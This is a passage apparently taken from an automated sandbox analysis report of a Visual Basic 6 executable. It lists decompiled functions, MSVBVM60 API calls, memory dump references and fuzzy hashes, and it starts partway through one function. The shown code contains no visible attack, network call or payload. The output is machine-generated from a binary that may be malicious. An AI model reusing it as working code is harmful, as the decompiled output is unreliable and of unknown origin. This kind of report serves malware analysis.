        				_v60 = 0xa;
        				if( *0x416010 != 0) {
        					_v104 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v104 = 0x416010;
        				}
        				_t74 =  &_v40;
        				L0040135E();
        				_v64 = _t74;
        				_t78 =  *((intOrPtr*)( *_v64 + 0x238))(_v64,  &_v36, _t74,  *((intOrPtr*)( *((intOrPtr*)( *_v104)) + 0x310))( *_v104));
        				asm("fclex");
        				_v68 = _t78;
        				if(_v68 >= 0) {
        					_v108 = _v108 & 0x00000000;
        				} else {
        					_push(0x238);
        					_push(0x402b78);
        					_push(_v64);
        					_push(_v68);
        					L00401352();
        					_v108 = _t78;
        				}
        				L00401220();
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				_t82 =  *((intOrPtr*)( *_v80 + 0x13c))(_v80, _v36, 0x10);
        				asm("fclex");
        				_v84 = _t82;
        				if(_v84 >= 0) {
        					_v112 = _v112 & 0x00000000;
        				} else {
        					_push(0x13c);
        					_push(0x402d38);
        					_push(_v80);
        					_push(_v84);
        					L00401352();
        					_v112 = _t82;
        				}
        				L00401364();
        				_push( &_v44);
        				_t84 =  &_v40;
        				_push(_t84);
        				_push(2);
        				L0040134C();
        				asm("wait");
        				_push(0x415afa);
        				return _t84;
        			}






























        0x00415938
        0x00415947
        0x00415951
        0x00415959
        0x0041595c
        0x00415963
        0x00415972
        0x0041597c
        0x00415996
        0x0041597e
        0x0041597e
        0x00415983
        0x00415988
        0x0041598d
        0x0041598d
        0x0041599d
        0x004159a2
        0x004159b1
        0x004159b4
        0x004159b6
        0x004159bd
        0x004159d6
        0x004159bf
        0x004159bf
        0x004159c1
        0x004159c6
        0x004159c9
        0x004159cc
        0x004159d1
        0x004159d1
        0x004159dd
        0x004159e0
        0x004159e7
        0x004159f5
        0x00415a0f
        0x004159f7
        0x004159f7
        0x004159fc
        0x00415a01
        0x00415a06
        0x00415a06
        0x00415a2a
        0x00415a2e
        0x00415a33
        0x00415a42
        0x00415a48
        0x00415a4a
        0x00415a51
        0x00415a6d
        0x00415a53
        0x00415a53
        0x00415a58
        0x00415a5d
        0x00415a60
        0x00415a63
        0x00415a68
        0x00415a68
        0x00415a74
        0x00415a7e
        0x00415a7f
        0x00415a80
        0x00415a81
        0x00415a8d
        0x00415a93
        0x00415a95
        0x00415a9c
        0x00415ab8
        0x00415a9e
        0x00415a9e
        0x00415aa3
        0x00415aa8
        0x00415aab
        0x00415aae
        0x00415ab3
        0x00415ab3
        0x00415abf
        0x00415ac7
        0x00415ac8
        0x00415acb
        0x00415acc
        0x00415ace
        0x00415ad6
        0x00415ad7
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 00415951
        • __vbaNew2.MSVBVM60(00402BB8,0041633C,?,?,?,?,00401226), ref: 00415988
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BA8,00000014), ref: 004159CC
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 00415A01
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 00415A2E
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000238), ref: 00415A63
        • __vbaChkstk.MSVBVM60 ref: 00415A74
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402D38,0000013C), ref: 00415AAE
        • __vbaFreeStr.MSVBVM60 ref: 00415ABF
        • __vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00415ACE
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckHresult$ChkstkFreeNew2$List
        • String ID: <cA$@'o
        • API String ID: 3896226546-1096705872
        • Opcode ID: a399fa4229202f0b1581cf99f91a57d3045e8fc34cbc0996b6991994827ec152
        • Instruction ID: b50a15e23791f4ee2781cf4bd61ccd8a04d900618374e5a3d74790bff46e7af6
        • Opcode Fuzzy Hash: a399fa4229202f0b1581cf99f91a57d3045e8fc34cbc0996b6991994827ec152
        • Instruction Fuzzy Hash: 4D51EF70D40608EFDB00EF95C889BDDBBB5BF08704F20406AE415BB2A1C7B9A985DF59
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 52%
        			E00411B59(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a12) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				void* _v36;
        				void* _v40;
        				char _v56;
        				char _v60;
        				void* _v64;
        				signed int _v68;
        				intOrPtr* _v72;
        				signed int _v76;
        				char _v84;
        				signed int _v88;
        				signed int _v92;
        				char* _t45;
        				signed int _t46;
        				signed int _t52;
        				intOrPtr _t71;
        
        				_push(0x401226);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t71;
        				_push(0x48);
        				L00401220();
        				_v12 = _t71;
        				_v8 = 0x4011a0;
        				L0040132E();
        				_push(0xb);
        				_push(0xb);
        				_push(0x7db);
        				_push( &_v56);
        				L004012F2();
        				_t45 =  &_v56;
        				_push(_t45);
        				L004012F8();
        				_v64 =  ~(0 | _t45 != 0x0000ffff);
        				L00401346();
        				_t46 = _v64;
        				if(_t46 != 0) {
        					if( *0x41633c != 0) {
        						_v84 = 0x41633c;
        					} else {
        						_push(0x41633c);
        						_push(0x402bb8);
        						L00401358();
        						_v84 = 0x41633c;
        					}
        					_t14 =  &_v84; // 0x41633c
        					_v64 =  *((intOrPtr*)( *_t14));
        					_t52 =  *((intOrPtr*)( *_v64 + 0x1c))(_v64,  &_v40);
        					asm("fclex");
        					_v68 = _t52;
        					if(_v68 >= 0) {
        						_v88 = _v88 & 0x00000000;
        					} else {
        						_push(0x1c);
        						_push(0x402ba8);
        						_push(_v64);
        						_push(_v68);
        						L00401352();
        						_v88 = _t52;
        					}
        					_v72 = _v40;
        					_t46 =  *((intOrPtr*)( *_v72 + 0x64))(_v72, 1,  &_v60);
        					asm("fclex");
        					_v76 = _t46;
        					if(_v76 >= 0) {
        						_v92 = _v92 & 0x00000000;
        					} else {
        						_push(0x64);
        						_push(0x402d78);
        						_push(_v72);
        						_push(_v76);
        						L00401352();
        						_v92 = _t46;
        					}
        					L00401334();
        				}
        				_push(0x411c9a);
        				L00401346();
        				return _t46;
        			}




















        0x00411b5e
        0x00411b69
        0x00411b6a
        0x00411b71
        0x00411b74
        0x00411b7c
        0x00411b7f
        0x00411b8c
        0x00411b91
        0x00411b93
        0x00411b95
        0x00411b9d
        0x00411b9e
        0x00411ba3
        0x00411ba6
        0x00411ba7
        0x00411bb7
        0x00411bbe
        0x00411bc3
        0x00411bc9
        0x00411bd6
        0x00411bf0
        0x00411bd8
        0x00411bd8
        0x00411bdd
        0x00411be2
        0x00411be7
        0x00411be7
        0x00411bf7
        0x00411bfc
        0x00411c0b
        0x00411c0e
        0x00411c10
        0x00411c17
        0x00411c30
        0x00411c19
        0x00411c19
        0x00411c1b
        0x00411c20
        0x00411c23
        0x00411c26
        0x00411c2b
        0x00411c2b
        0x00411c37
        0x00411c48
        0x00411c4b
        0x00411c4d
        0x00411c54
        0x00411c6d
        0x00411c56
        0x00411c56
        0x00411c58
        0x00411c5d
        0x00411c60
        0x00411c63
        0x00411c68
        0x00411c68
        0x00411c74
        0x00411c74
        0x00411c79
        0x00411c94
        0x00411c99

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 00411B74
        • __vbaVarDup.MSVBVM60(?,?,?,?,00401226), ref: 00411B8C
        • #538.MSVBVM60(?,000007DB,0000000B,0000000B,?,?,?,?,00401226), ref: 00411B9E
        • #557.MSVBVM60(?,?,000007DB,0000000B,0000000B,?,?,?,?,00401226), ref: 00411BA7
        • __vbaFreeVar.MSVBVM60(?,?,000007DB,0000000B,0000000B,?,?,?,?,00401226), ref: 00411BBE
        • __vbaNew2.MSVBVM60(00402BB8,0041633C,?,?,000007DB,0000000B,0000000B,?,?,?,?,00401226), ref: 00411BE2
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BA8,0000001C,?,?,?,?,?,?,?,?,?,?,000007DB,0000000B), ref: 00411C26
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402D78,00000064,?,?,?,?,?,?,?,?,?,?,000007DB,0000000B), ref: 00411C63
        • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,000007DB,0000000B,0000000B), ref: 00411C74
        • __vbaFreeVar.MSVBVM60(00411C9A,?,?,000007DB,0000000B,0000000B,?,?,?,?,00401226), ref: 00411C94
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$CheckHresult$#538#557ChkstkNew2
        • String ID: <cA
        • API String ID: 820695169-2637925508
        • Opcode ID: c1a69c162c3aefae31e4ce067bb27fb74586630b562ee306b3b8362a7500a88f
        • Instruction ID: 79d36b5f6d62a4aa7dc0d8c40d9ce153bfbd1cba4b810c5da6947ea97846b770
        • Opcode Fuzzy Hash: c1a69c162c3aefae31e4ce067bb27fb74586630b562ee306b3b8362a7500a88f
        • Instruction Fuzzy Hash: 99310771940208EFDB10EFD5C946BDDBBB4FF08704F50442AF501BA1A0E7B9A9459B58
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 59%
        			E004116F7(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8, void* _a40) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				void* _v36;
        				void* _v52;
        				char _v56;
        				intOrPtr* _v60;
        				signed int _v64;
        				intOrPtr* _v72;
        				signed int _v76;
        				char* _t32;
        				signed int _t35;
        				intOrPtr _t52;
        
        				_push(0x401226);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t52;
        				_push(0x38);
        				L00401220();
        				_v12 = _t52;
        				_v8 = 0x401150;
        				L0040132E();
        				L0040132E();
        				if( *0x416010 != 0) {
        					_v72 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v72 = 0x416010;
        				}
        				_t32 =  &_v56;
        				L0040135E();
        				_v60 = _t32;
        				_t35 =  *((intOrPtr*)( *_v60 + 0x1bc))(_v60, _t32,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x308))( *_v72));
        				asm("fclex");
        				_v64 = _t35;
        				if(_v64 >= 0) {
        					_v76 = _v76 & 0x00000000;
        				} else {
        					_push(0x1bc);
        					_push(0x402b88);
        					_push(_v60);
        					_push(_v64);
        					L00401352();
        					_v76 = _t35;
        				}
        				L00401334();
        				_push(0x4117e2);
        				L00401346();
        				L00401346();
        				return _t35;
        			}















        0x004116fc
        0x00411707
        0x00411708
        0x0041170f
        0x00411712
        0x0041171a
        0x0041171d
        0x0041172a
        0x00411735
        0x00411741
        0x0041175b
        0x00411743
        0x00411743
        0x00411748
        0x0041174d
        0x00411752
        0x00411752
        0x00411776
        0x0041177a
        0x0041177f
        0x0041178a
        0x00411790
        0x00411792
        0x00411799
        0x004117b5
        0x0041179b
        0x0041179b
        0x004117a0
        0x004117a5
        0x004117a8
        0x004117ab
        0x004117b0
        0x004117b0
        0x004117bc
        0x004117c1
        0x004117d4
        0x004117dc
        0x004117e1

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 00411712
        • __vbaVarDup.MSVBVM60(?,?,?,?,00401226), ref: 0041172A
        • __vbaVarDup.MSVBVM60(?,?,?,?,00401226), ref: 00411735
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?,?,?,00401226), ref: 0041174D
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0041177A
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B88,000001BC), ref: 004117AB
        • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 004117BC
        • __vbaFreeVar.MSVBVM60(004117E2,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 004117D4
        • __vbaFreeVar.MSVBVM60(004117E2,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 004117DC
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$CheckChkstkHresultNew2
        • String ID: @'o
        • API String ID: 1725699769-2282986110
        • Opcode ID: 11f1ce9acc028d46beb3eabdde116656175f5e909105c4159187dc59ed4fd73f
        • Instruction ID: dbdcf5d476379aba2d146b1e48e92854535c753801e52f9b2879f71bdebfae69
        • Opcode Fuzzy Hash: 11f1ce9acc028d46beb3eabdde116656175f5e909105c4159187dc59ed4fd73f
        • Instruction Fuzzy Hash: A821D670900208AFDB14EF91D886BDDBBB9BF08708F60446AF512B66A1DB786945CB58
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 62%
        			E00411D53(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a16) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				void* _v40;
        				void* _v44;
        				intOrPtr* _v48;
        				signed int _v52;
        				intOrPtr* _v56;
        				signed int _v60;
        				char _v72;
        				signed int _v76;
        				signed int _v80;
        				signed int _t48;
        				signed int _t52;
        				void* _t60;
        				void* _t62;
        				intOrPtr _t63;
        
        				_t63 = _t62 - 0xc;
        				 *[fs:0x0] = _t63;
        				L00401220();
        				_v16 = _t63;
        				_v12 = 0x4011b0;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x38,  *[fs:0x0], 0x401226, _t60);
        				L0040132E();
        				if( *0x41633c != 0) {
        					_v72 = 0x41633c;
        				} else {
        					_push(0x41633c);
        					_push(0x402bb8);
        					L00401358();
        					_v72 = 0x41633c;
        				}
        				_t11 =  &_v72; // 0x41633c
        				_v48 =  *((intOrPtr*)( *_t11));
        				_t48 =  *((intOrPtr*)( *_v48 + 0x4c))(_v48,  &_v44);
        				asm("fclex");
        				_v52 = _t48;
        				if(_v52 >= 0) {
        					_v76 = _v76 & 0x00000000;
        				} else {
        					_push(0x4c);
        					_push(0x402ba8);
        					_push(_v48);
        					_push(_v52);
        					L00401352();
        					_v76 = _t48;
        				}
        				_v56 = _v44;
        				_t52 =  *((intOrPtr*)( *_v56 + 0x28))(_v56);
        				asm("fclex");
        				_v60 = _t52;
        				if(_v60 >= 0) {
        					_v80 = _v80 & 0x00000000;
        				} else {
        					_push(0x28);
        					_push(0x402d90);
        					_push(_v56);
        					_push(_v60);
        					L00401352();
        					_v80 = _t52;
        				}
        				L00401334();
        				_push(0x411e5b);
        				L00401346();
        				return _t52;
        			}




















        0x00411d56
        0x00411d65
        0x00411d6f
        0x00411d77
        0x00411d7a
        0x00411d81
        0x00411d90
        0x00411d99
        0x00411da5
        0x00411dbf
        0x00411da7
        0x00411da7
        0x00411dac
        0x00411db1
        0x00411db6
        0x00411db6
        0x00411dc6
        0x00411dcb
        0x00411dda
        0x00411ddd
        0x00411ddf
        0x00411de6
        0x00411dff
        0x00411de8
        0x00411de8
        0x00411dea
        0x00411def
        0x00411df2
        0x00411df5
        0x00411dfa
        0x00411dfa
        0x00411e06
        0x00411e11
        0x00411e14
        0x00411e16
        0x00411e1d
        0x00411e36
        0x00411e1f
        0x00411e1f
        0x00411e21
        0x00411e26
        0x00411e29
        0x00411e2c
        0x00411e31
        0x00411e31
        0x00411e3d
        0x00411e42
        0x00411e55
        0x00411e5a

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 00411D6F
        • __vbaVarDup.MSVBVM60(?,?,?,?,00401226), ref: 00411D99
        • __vbaNew2.MSVBVM60(00402BB8,0041633C,?,?,?,?,00401226), ref: 00411DB1
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BA8,0000004C), ref: 00411DF5
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402D90,00000028), ref: 00411E2C
        • __vbaFreeObj.MSVBVM60 ref: 00411E3D
        • __vbaFreeVar.MSVBVM60(00411E5B), ref: 00411E55
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckFreeHresult$ChkstkNew2
        • String ID: <cA
        • API String ID: 304406766-2637925508
        • Opcode ID: ca53e0efc056bb96a7f2ea9d08d03923cdcb5b9e6fd86f6a087e49d3b0fc0de1
        • Instruction ID: 0970a9a5e529a06f35607f71848e4ed38a0b3a98724469e7b95350bbf5aa811e
        • Opcode Fuzzy Hash: ca53e0efc056bb96a7f2ea9d08d03923cdcb5b9e6fd86f6a087e49d3b0fc0de1
        • Instruction Fuzzy Hash: 1B31C371D00208EFDB10EFA9D985BCDBBB5AF08714F10806AF905B62A0D7796985CF59
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 53%
        			E00411952(void* __ebx, void* __ecx, void* __edi, void* __esi) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				short _v24;
        				void* _v32;
        				void* _v36;
        				intOrPtr* _v40;
        				signed int _v44;
        				intOrPtr* _v48;
        				signed int _v52;
        				char _v60;
        				signed int _v64;
        				signed int _v68;
        				signed int _t41;
        				signed int _t46;
        				short _t47;
        				intOrPtr _t55;
        
        				_push(0x401226);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t55;
        				_push(0x30);
        				L00401220();
        				_v12 = _t55;
        				_v8 = 0x401180;
        				if( *0x41633c != 0) {
        					_v60 = 0x41633c;
        				} else {
        					_push(0x41633c);
        					_push(0x402bb8);
        					L00401358();
        					_v60 = 0x41633c;
        				}
        				_t5 =  &_v60; // 0x41633c
        				_v40 =  *((intOrPtr*)( *_t5));
        				_t41 =  *((intOrPtr*)( *_v40 + 0x14))(_v40,  &_v32);
        				asm("fclex");
        				_v44 = _t41;
        				if(_v44 >= 0) {
        					_v64 = _v64 & 0x00000000;
        				} else {
        					_push(0x14);
        					_push(0x402ba8);
        					_push(_v40);
        					_push(_v44);
        					L00401352();
        					_v64 = _t41;
        				}
        				_v48 = _v32;
        				_t46 =  *((intOrPtr*)( *_v48 + 0xc0))(_v48,  &_v36);
        				asm("fclex");
        				_v52 = _t46;
        				if(_v52 >= 0) {
        					_v68 = _v68 & 0x00000000;
        				} else {
        					_push(0xc0);
        					_push(0x402d38);
        					_push(_v48);
        					_push(_v52);
        					L00401352();
        					_v68 = _t46;
        				}
        				_t47 = _v36;
        				_v24 = _t47;
        				L00401334();
        				_push(0x411a46);
        				return _t47;
        			}



















        0x00411957
        0x00411962
        0x00411963
        0x0041196a
        0x0041196d
        0x00411975
        0x00411978
        0x00411986
        0x004119a0
        0x00411988
        0x00411988
        0x0041198d
        0x00411992
        0x00411997
        0x00411997
        0x004119a7
        0x004119ac
        0x004119bb
        0x004119be
        0x004119c0
        0x004119c7
        0x004119e0
        0x004119c9
        0x004119c9
        0x004119cb
        0x004119d0
        0x004119d3
        0x004119d6
        0x004119db
        0x004119db
        0x004119e7
        0x004119f6
        0x004119fc
        0x004119fe
        0x00411a05
        0x00411a21
        0x00411a07
        0x00411a07
        0x00411a0c
        0x00411a11
        0x00411a14
        0x00411a17
        0x00411a1c
        0x00411a1c
        0x00411a25
        0x00411a29
        0x00411a30
        0x00411a35
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 0041196D
        • __vbaNew2.MSVBVM60(00402BB8,0041633C,?,?,?,?,00401226), ref: 00411992
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BA8,00000014,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 004119D6
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402D38,000000C0,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 00411A17
        • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 00411A30
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckHresult$ChkstkFreeNew2
        • String ID: <cA
        • API String ID: 1616694062-2637925508
        • Opcode ID: 4c5f1f04ed6ad96a48c255ad41970e1df0d386d8f40d5ca49d9e05b7b53cd337
        • Instruction ID: 510e395a6aec0598def42fe8a06c110bb0c90ccae8bc8445cf8f77261c6b8437
        • Opcode Fuzzy Hash: 4c5f1f04ed6ad96a48c255ad41970e1df0d386d8f40d5ca49d9e05b7b53cd337
        • Instruction Fuzzy Hash: EF31F271D11208EFDB00DF99D985BDEBBB4FF08754F10406AF511B66A0C3B95884DB29
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 66%
        			E004117F5(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				char _v28;
        				intOrPtr* _v32;
        				signed int _v36;
        				intOrPtr* _v48;
        				signed int _v52;
        				char* _t33;
        				signed int _t36;
        				void* _t44;
        				void* _t46;
        				intOrPtr _t47;
        
        				_t47 = _t46 - 0xc;
        				 *[fs:0x0] = _t47;
        				L00401220();
        				_v16 = _t47;
        				_v12 = 0x401160;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x1c,  *[fs:0x0], 0x401226, _t44);
        				if( *0x416010 != 0) {
        					_v48 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v48 = 0x416010;
        				}
        				_t33 =  &_v28;
        				L0040135E();
        				_v32 = _t33;
        				_t36 =  *((intOrPtr*)( *_v32 + 0x1bc))(_v32, _t33,  *((intOrPtr*)( *((intOrPtr*)( *_v48)) + 0x30c))( *_v48));
        				asm("fclex");
        				_v36 = _t36;
        				if(_v36 >= 0) {
        					_v52 = _v52 & 0x00000000;
        				} else {
        					_push(0x1bc);
        					_push(0x402b88);
        					_push(_v32);
        					_push(_v36);
        					L00401352();
        					_v52 = _t36;
        				}
        				L00401334();
        				_push(0x4118cd);
        				return _t36;
        			}
















        0x004117f8
        0x00411807
        0x00411811
        0x00411819
        0x0041181c
        0x00411823
        0x00411832
        0x0041183c
        0x00411856
        0x0041183e
        0x0041183e
        0x00411843
        0x00411848
        0x0041184d
        0x0041184d
        0x00411871
        0x00411875
        0x0041187a
        0x00411885
        0x0041188b
        0x0041188d
        0x00411894
        0x004118b0
        0x00411896
        0x00411896
        0x0041189b
        0x004118a0
        0x004118a3
        0x004118a6
        0x004118ab
        0x004118ab
        0x004118b7
        0x004118bc
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 00411811
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?,?,?,00401226), ref: 00411848
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 00411875
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B88,000001BC), ref: 004118A6
        • __vbaFreeObj.MSVBVM60 ref: 004118B7
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckChkstkFreeHresultNew2
        • String ID: @'o
        • API String ID: 4127847336-2282986110
        • Opcode ID: 70f5e3b6a0724a7df43ec0a78202fc60bd5103fe8a2fc9f2ab7fe1c06719cddf
        • Instruction ID: 1c0035f246ab4e2995d428f76075f605f4fc7f1695a82db12119b5e308b2236f
        • Opcode Fuzzy Hash: 70f5e3b6a0724a7df43ec0a78202fc60bd5103fe8a2fc9f2ab7fe1c06719cddf
        • Instruction Fuzzy Hash: D021D570900208EFDB00EFA5C849BDEBBB4BB08704F10856AE916BB2A1C7799445DF98
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 86%
        			E00412208(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a28, void* _a32) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				void* _v28;
        				void* _v44;
        				intOrPtr _v52;
        				char _v60;
        				char* _t22;
        				void* _t33;
        				void* _t35;
        				intOrPtr _t36;
        
        				_t36 = _t35 - 0xc;
        				 *[fs:0x0] = _t36;
        				L00401220();
        				_v16 = _t36;
        				_v12 = 0x4011e0;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x3c,  *[fs:0x0], 0x401226, _t33);
        				L00401340();
        				L0040132E();
        				_v52 = 0x80020004;
        				_v60 = 0xa;
        				_t22 =  &_v60;
        				_push(_t22);
        				L004012CE();
        				L00401346();
        				_push(0x41229e);
        				L00401364();
        				L00401346();
        				return _t22;
        			}














        0x0041220b
        0x0041221a
        0x00412224
        0x0041222c
        0x0041222f
        0x00412236
        0x00412245
        0x0041224e
        0x00412259
        0x0041225e
        0x00412265
        0x0041226c
        0x0041226f
        0x00412270
        0x00412278
        0x0041227d
        0x00412290
        0x00412298
        0x0041229d

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 00412224
        • __vbaStrCopy.MSVBVM60(?,?,?,?,00401226), ref: 0041224E
        • __vbaVarDup.MSVBVM60(?,?,?,?,00401226), ref: 00412259
        • #594.MSVBVM60(0000000A), ref: 00412270
        • __vbaFreeVar.MSVBVM60(0000000A), ref: 00412278
        • __vbaFreeStr.MSVBVM60(0041229E,0000000A), ref: 00412290
        • __vbaFreeVar.MSVBVM60(0041229E,0000000A), ref: 00412298
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$#594ChkstkCopy
        • String ID:
        • API String ID: 1840262908-0
        • Opcode ID: 060dc3a699ce8014cb523e40cedaa9492c4298e4c1f617f64e37da168c6f7a6f
        • Instruction ID: 620f8b5515b1888fe6a0463aeed78b9daebbc90c8cc109c91b7f3f9f52402645
        • Opcode Fuzzy Hash: 060dc3a699ce8014cb523e40cedaa9492c4298e4c1f617f64e37da168c6f7a6f
        • Instruction Fuzzy Hash: 91011E71900248EBDB00EF91D986BDDBFB4FF04744F50416AF901B75A1DB786945CB98
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 45%
        			E00411CAD(intOrPtr* _a4, intOrPtr* _a32) {
        				intOrPtr _v8;
        				intOrPtr _v16;
        				intOrPtr _v24;
        				intOrPtr _v32;
        				intOrPtr _v40;
        				signed int _v44;
        				signed int _v48;
        				signed char _t19;
        				signed int _t27;
        
        				_t19 = 0x2c;
        				L00401220();
        				_push(0x402d8c);
        				L004012EC();
        				if((_t19 & 0x000000ff) != 0x61) {
        					_v32 = 0x80020004;
        					_v40 = 0xa;
        					_v16 = 0x80020004;
        					_v24 = 0xa;
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_t27 =  *((intOrPtr*)( *_a4 + 0x2b0))(_a4, 0x10, 0x10);
        					asm("fclex");
        					_v44 = _t27;
        					if(_v44 >= 0) {
        						_v48 = _v48 & 0x00000000;
        					} else {
        						_push(0x2b0);
        						_push(0x40299c);
        						_push(_a4);
        						_push(_v44);
        						L00401352();
        						_v48 = _t27;
        					}
        				}
        				 *_a32 = _v8;
        				return 0;
        			}












        0x00411cb2
        0x00411cb3
        0x00411cba
        0x00411cbf
        0x00411ccc
        0x00411cce
        0x00411cd5
        0x00411cdc
        0x00411ce3
        0x00411ced
        0x00411cf7
        0x00411cf8
        0x00411cf9
        0x00411cfa
        0x00411cfe
        0x00411d08
        0x00411d09
        0x00411d0a
        0x00411d0b
        0x00411d14
        0x00411d1a
        0x00411d1c
        0x00411d23
        0x00411d3f
        0x00411d25
        0x00411d25
        0x00411d2a
        0x00411d2f
        0x00411d32
        0x00411d35
        0x00411d3a
        0x00411d3a
